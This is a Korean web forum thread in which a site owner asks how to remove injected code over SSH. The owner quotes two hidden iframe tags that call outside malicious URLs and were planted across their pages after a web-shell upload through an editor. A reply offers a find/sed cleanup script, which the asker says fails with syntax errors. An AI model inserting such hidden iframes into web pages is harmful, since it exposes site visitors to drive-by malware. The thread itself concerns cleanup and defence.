ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 926 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,661
14년 전 조회 1,052
14년 전 조회 1,341
14년 전 조회 858
14년 전 조회 986
14년 전 조회 783
14년 전 조회 1,109
14년 전 조회 1,008
14년 전 조회 427
14년 전 조회 563
14년 전 조회 641
14년 전 조회 950
14년 전 조회 772
14년 전 조회 771
14년 전 조회 756
14년 전 조회 1,163
14년 전 조회 861
14년 전 조회 869
14년 전 조회 881
14년 전 조회 688
14년 전 조회 1,748
14년 전 조회 1,517
14년 전 조회 944
14년 전 조회 773
14년 전 조회 1,842
14년 전 조회 1,206
14년 전 조회 1,040
14년 전 조회 807
14년 전 조회 1,513
14년 전 조회 3,771
14년 전 조회 2,431
14년 전 조회 1,123
14년 전 조회 740
14년 전 조회 795
14년 전 조회 1,317
14년 전 조회 986
14년 전 조회 1,358
14년 전 조회 1,404
14년 전 조회 1,423
14년 전 조회 626
14년 전 조회 869
14년 전 조회 2,747
14년 전 조회 767
14년 전 조회 1,234
14년 전 조회 812
14년 전 조회 690
14년 전 조회 1,231
14년 전 조회 659
14년 전 조회 1,340
14년 전 조회 927
14년 전 조회 1,581
14년 전 조회 1,511
14년 전 조회 1,024
14년 전 조회 1,258
14년 전 조회 943
14년 전 조회 1,647
14년 전 조회 1,229
14년 전 조회 1,224
14년 전 조회 1,505
14년 전 조회 1,401
14년 전 조회 829
14년 전 조회 899
14년 전 조회 670
14년 전 조회 844
14년 전 조회 1,594
14년 전 조회 2,346
14년 전 조회 2,246
14년 전 조회 1,880
14년 전 조회 1,422
14년 전 조회 1,502
14년 전 조회 1,279
14년 전 조회 1,537
14년 전 조회 644
14년 전 조회 1,275
14년 전 조회 640
14년 전 조회 1,087
14년 전 조회 858
14년 전 조회 1,971
14년 전 조회 743
14년 전 조회 2,565
14년 전 조회 981
14년 전 조회 819
14년 전 조회 2,920
14년 전 조회 689
14년 전 조회 960
14년 전 조회 501
14년 전 조회 823
14년 전 조회 605
14년 전 조회 1,296
14년 전 조회 729
14년 전 조회 1,101
14년 전 조회 724
14년 전 조회 655
14년 전 조회 632
14년 전 조회 1,340
14년 전 조회 802
14년 전 조회 691
14년 전 조회 713
14년 전 조회 1,380
14년 전 조회 1,389
🐛 버그신고